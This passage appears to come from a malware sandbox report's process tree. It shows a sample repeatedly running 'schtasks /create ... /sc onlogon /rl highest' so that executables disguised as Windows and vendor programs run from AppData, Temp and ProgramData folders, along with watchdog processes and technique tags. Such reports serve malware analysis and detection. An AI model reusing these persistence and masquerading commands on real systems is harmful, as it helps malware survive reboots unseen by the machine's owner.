  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2484
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4620
- C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe
  "C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  - Power Settings
  PID:1864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_1" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_1" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4932
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_GamePanel_2" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\UpdateCache\UpdateCache\GamePanel.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1172
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_3" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4504
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mobsync_5" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\mobsync.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5152
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mobsync_5" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\mobsync.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:964
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wusa_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wusa.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wusa_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\wusa.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3472
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_logman_7" /tr ""C:\ProgramData\MicrosoftService\logman.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_logman_7" /tr ""C:\ProgramData\MicrosoftService\logman.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmc_8" /tr ""C:\Users\Admin\AppData\Local\Temp\{040B8821-DB86-4C0F-BFEB-D962113052E3}\Logs\UpdateCache\mmc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:404
- C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\runonce.exe
  "C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\UpdateCache\runonce.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:1092
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wscadminui_1" /tr ""C:\Users\Admin\AppData\Roaming\UninstallMeasure\Logs\wscadminui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3780
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wscadminui_1" /tr ""C:\Users\Admin\AppData\Roaming\UninstallMeasure\Logs\wscadminui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wextract_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\wextract.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2864
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wextract_2" /tr ""C:\Users\Admin\AppData\Local\Google\Logs\wextract.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3148
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mfpmp_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2004
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mfpmp_3" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3364
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2884
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_4" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\UpdateCache\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:908
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_OutSave_5" /tr ""C:\Users\Admin\AppData\Roaming\UnpublishLock\UpdateCache\OutSave.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RmClient_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RmClient_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\UpdateCache\RmClient.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4924
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1624
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5992
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mcbuilder_8" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\UpdateCache\UpdateCache\mcbuilder.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5016
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cttune_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cttune_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1120
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5072
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tzutil_2" /tr ""C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\Logs\UpdateCache\tzutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6080
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2728
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fontview_3" /tr ""C:\ProgramData\ssh\Logs\UpdateCache\fontview.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5056
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_4" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2712
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_4" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1824
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_5" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3092
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dtdump_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5028
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dtdump_6" /tr ""C:\Users\Admin\AppData\Local\Packages\Logs\UpdateCache\UpdateCache\dtdump.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4132
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CloudNotifications_7" /tr ""C:\ProgramData\MicrosoftService\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CloudNotifications_7" /tr ""C:\ProgramData\MicrosoftService\CloudNotifications.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2032
- C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe
  "C:\Users\Admin\AppData\Roaming\Adobe\Logs\UpdateCache\cttune.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4776
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_wlanext_1" /tr ""C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\UpdateCache\wlanext.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_wlanext_1" /tr ""C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\UpdateCache\wlanext.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1968
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_2" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3932
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_2" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6052
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_3" /tr ""C:\ProgramData\MicrosoftService\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2124
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_3" /tr ""C:\ProgramData\MicrosoftService\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2068
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_win32calc_4" /tr ""C:\Users\Admin\AppData\Local\Temp\912939012\Logs\UpdateCache\UpdateCache\UpdateCache\win32calc.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3312
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2380
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_runonce_5" /tr ""C:\Users\Admin\AppData\Roaming\RedoConvertTo\Logs\UpdateCache\runonce.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:792
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_edpnotify_7" /tr ""C:\ProgramData\MicrosoftService\edpnotify.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_edpnotify_7" /tr ""C:\ProgramData\MicrosoftService\edpnotify.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3564
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PATHPING_8" /tr ""C:\Users\Admin\AppData\Local\Temp\VBE\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\PATHPING.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3472
- C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\UpdateCache\wlanext.exe
  "C:\Users\Admin\AppData\Roaming\InvokeOut\Logs\UpdateCache\wlanext.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:4992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_InputSwitchToastHandler_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:5948
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_InputSwitchToastHandler_1" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Logs\UpdateCache\InputSwitchToastHandler.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_efsui_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\efsui.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_efsui_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\efsui.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_notepad_3" /tr ""C:\ProgramData\MicrosoftService\notepad.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2556
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_notepad_3" /tr ""C:\ProgramData\MicrosoftService\notepad.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4356
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tar_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tar_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x64 Redistributable Setup_10.0.40219\Logs\UpdateCache\tar.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5380
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_powercfg_5" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Power Settings
  PID:2836
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_powercfg_5" /tr ""C:\Users\Admin\AppData\Roaming\ResolveUpdate\Logs\UpdateCache\powercfg.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:2704
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_resmon_6" /tr ""C:\Users\Admin\AppData\Local\D3DSCache\Logs\UpdateCache\resmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_tracerpt_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4764
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_tracerpt_7" /tr ""C:\Users\Admin\AppData\Local\Temp\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_typeperf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1888
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_typeperf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\typeperf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5748
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mobsync_1" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\mobsync.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1304
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mobsync_1" /tr ""C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\mobsync.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2572
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4392
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:628
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4860
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3972
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_newdev_4" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\newdev.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1852
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_5" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:3936
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_5" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_6" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5064
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_6" /tr ""C:\Users\Admin\AppData\Local\Temp\Microsoft Visual C++ 2010 x86 Redistributable Setup_10.0.40219\Logs\UpdateCache\UpdateCache\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\ieUnatt.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:2104
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ieUnatt_7" /tr ""C:\ProgramData\USOShared\Logs\ieUnatt.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3592
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_icacls_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1228
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_icacls_8" /tr ""C:\Users\Admin\AppData\Local\Temp\hsperfdata_Admin\Logs\UpdateCache\UpdateCache\icacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4264
- C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\mobsync.exe
  "C:\Users\Admin\AppData\Roaming\ConnectOpen\Logs\UpdateCache\mobsync.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_gpupdate_1" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1132
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_gpupdate_1" /tr ""C:\Users\Admin\AppData\Roaming\PopConvert\Logs\UpdateCache\UpdateCache\gpupdate.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4396
- C:\Windows\SysWOW64\cmd.exe
